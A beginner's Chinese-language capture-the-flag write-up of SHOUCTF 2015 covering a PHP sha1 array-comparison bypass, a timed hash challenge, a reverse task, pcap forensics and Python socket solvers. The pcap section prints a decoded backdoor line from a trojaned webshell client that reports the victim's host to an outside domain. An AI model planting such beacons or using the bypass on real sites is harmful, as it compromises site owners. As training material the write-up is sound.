一次偶然的机会,接触到了这次 SHOUCTF 2015(上海海洋大学CTF)。本以为又会像BCTF那样签个到就结束了,结果碰着运气竟然做出了几题。感觉是很照顾我这种新手的CTF((orz
WEB – SHA1
邪恶组织的第三个web关卡,要求找到两个碰撞的sha1
http://202.121.66.254/74a89174426b40307102e165374ab8ab/test4.php
然而在网络上看了看,并没有找到SHA1的碰撞。遂研究代码。
发现 $_POST['a']
及 $_POST['b']
为数组时可以绕过。
提交 a[]=aaaa&b[]=bbbb
结果用 Fiddler 改 GET 为 POST 的时候,忘记加下面两行了,一直在想为啥没提交上去 = =##
Content-Length: 15
Content-Type: application/x-www-form-urlencoded
Flag: SHOUCTF{5h0uc7f_w36_l00_fuck_3qu4l}
WEB – 挑战书
邪恶组织和bingbo同学的斗争仍在继续,这次邪恶组织换了一个手法,改变了密码门的认证方式,要求选手完成一个很变态运算,邪恶组织自认为这种办法能阻挡一切勇士,然而在bingbo同学看来,邪恶组织仍然的是那么的逗比可笑。你能和bingbo同学一起证明邪恶组织的智商为0吗?
http://202.121.66.254/4034a346ccee15292d823416f7510a2f/evil.php
[html]
<html>
<head>
<title>evil level4</title>
<link rel=’stylesheet’ href=’style.css’ type=’text/css’>
</head>
<body>
<section class=”login”>
<form method=”post”>
<input type=”text” required name=”key” placeholder=”Password” />
<input type=”submit”/>
</form>
<!– key is OEROCWHJJSMDKVYAKCPV –>
<!– you should compute sha256(md5($key.”evi1salt”)) and submit correct result in 2 seconds</br>–>
</section>
</body>
</html>
[/html]
写程序提交即可(= =## python还不熟,用的EL)
Flag: SHOUCTF{X1eEZUzh1_TMD_SH1_2B_Y0ng_ZH3_ME_Sb_D3_Way}
REVERSE – re100
一道简单的逆向题~~~
64位程序,所以用IDA64打开,直接F5了。
把几个变量转为char,Flag是原文保存的。
Flag: SHOUCTF{v3r_ySaEP_A_3Sr33C31}
等等,图中的v5、v6、v7储存方向是相反的(是因为整数储存方式的原因吗?),so..
Flag: SHOUCTF{EaSy_r3v3rS3_A_P13C3}
毕竟完全不会汇编.. 能做出一道reverse已经算万幸了orz
MISC – 中国砍刀
bingbo同学上周和白兔师父一起在拍档多喝咖啡,bingbo同学无意间跟白兔师父提到了过狗菜刀后门的问题,白兔师父表示呵呵一笑,于是现场抓了流量给bingbo同学看,没想到这一抓把白兔师父下了一跳,没想到自己的菜刀里面也有后门啊。你能发现这个过狗菜刀后门地址吗?
链接: http://pan.baidu.com/s/1o6ViY6Y 密码: 79mv
本题flag最终形式:SHOUCTF{backdoor_FLAG} FLAG为你找到的答案,只要域名形式
下载下来是一个 .pcapng 文件,用wireshark打开。woc,好多包。
因为题目说答案是域名,所以直接找DNS了~
噫!hm!后门!看我找到你了~
然而.. Wrong.. 一查发现 shifen.com 是家大公司的,怎么看都不感觉有后门的样子.. 毕竟不怎么会用 Wireshark,于是又碰运气找了几个。
当过滤到 POST 请求时,发现了几个特别的包。
看上去像在插一句话。两次解码其中的base64。
[php]if($_COOKIE[‘Lyke’]!=1){setcookie(‘Lyke’,1);@file(‘http://www.api.com.de/Api.php?Url=’.$_SERVER[‘HTTP_HOST’][/php]
发现了可疑的域名:www.api.com.de,提交,通过。
Flag: SHOUCTF{backdoor_api.com.de} 或 SHOUCTF{backdoor_www.api.com.de} (记不清了..)
MISC – 找不同
附件中有两个cmd.exe,看上去好像是相同的,其实不然,你能找出他们的不同吗
http://184.164.88.132/static/uploads/bfd9e9f4e4b4edd56a6f16cfa4b2e77c/cmd.zip
用 Beyond Compare 的 16 进制比较,发现文件末尾有不同,很快找到Flag。
Flag: SHOUCTF{3ACB23_FSCD32} (记不太清了..)
MISC – 口算题
bingbo同学最近和邪恶组织干上了,邪恶组织的人总是想给bingbo同学制造各种麻烦,以阻挡其前进的道路。这不,邪恶组织这次想故意刁难bingbo同学。bingbo同学看到他们的关卡后,笑了。
nc 139.129.5.159 23333
似乎要写程序计算。但是不熟悉nc,不知道怎么写orz
想到以前BCTF有类似的题目,于是拿了一个解答程序修改了一下。
[python]# encoding=utf-8
based on https://github.com/pwning/public-writeup/blob/master/bctf2015/prog300-experiment/solve.py
import sys
from socket import *
import math
TARGET = (‘139.129.5.159′, 23333)
s = socket()
s.connect(TARGET)
def rd(*suffixes):
out = ”
while 1:
x = s.recv(1)
if not x:
raise EOFError()
sys.stdout.write(x)
sys.stdout.flush()
out += x
for suffix in suffixes:
if out.endswith(suffix):
break
else:
continue
break
return out
def pr(x):
s.send(x+’\n’)
print “<%s” % x
for i in xrange(100):
qs = re.findall(r'(.*) \= \?’, rd(‘? ‘))
qs[0] = qs[0].replace(“/”,”.0/”)
print qs
if qs:
val = eval(qs[0], {‘builtins‘: None})
print val
pr(“%d” % val)
rd(‘}’)[/python]
Flag: SHOUCTF{Pr0gram_Just_F1r3t_Cha11enge}
MISC – 好玩的游戏
这是邪恶组织在MISC中的最后一个关卡,你能搞定他吗?
nc 139.129.5.159 5050
做完上一题,发现又多了一题,一看感觉好难 = =##
仔细想了想,发现其实并不复杂,把 50 25(明明是25个嘛!) 个单词和被打乱的单词按照字母顺序排序,然后寻找即可。
在上一题的代码上修改即可。
[python]# encoding=utf-8
based on https://github.com/pwning/public-writeup/blob/master/bctf2015/prog300-experiment/solve.py
by Coxxs
import sys
from socket import *
import math
import re
TARGET = (‘139.129.5.159′, 5050)
s = socket()
s.connect(TARGET)
def rd(*suffixes):
out = ”
while 1:
x = s.recv(1)
if not x:
raise EOFError()
sys.stdout.write(x)
sys.stdout.flush()
out += x
for suffix in suffixes:
if out.endswith(suffix):
break
else:
continue
break
return out
def pr(x):
s.send(x+’\n’)
print “<%s” % x
rd(‘]’) # [+] 你需要从50个单词中找出被打乱的单词的正确序列,规定时间为60秒钟.祝你们好运哦
for i in xrange(50):
qs = re.findall(r’[(.)]’, rd(‘]’))
li = eval(qs[0]);
li2 = []
for i in li:
a = list(i)
a.sort()
li2.append(a)
qs = re.findall(r’: (.)\n’, rd(‘输入’))
ans = list(qs[0])
ans.sort()
print li2.index(ans)
pr(li[li2.index(ans)])
rd(‘}’)[/python]
Flag: SHOUCTF{MA_MA_SHU0_N1_Z0ng_Sh1_ZH3_M3_L1u}
这次大概算我第一次真正参与过的CTF了吧(因为以前的完全解不出一题啊= =##)。还有几道题虽然尝试了,但是无果,还是挺想看看write up的。
另外不得不感谢这学期学校开的 Python 课程,虽然教的还是2,但还是受益匪浅,也碰巧在这次CTF用上了- -!
作为CTF的小菜鸟,一点一点学习吧 > <
Coxxs
2015-12-24:附:官方部分 write up http://pan.baidu.com/s/1o6Y7jCI 密码:azh5
爸爸帶我飛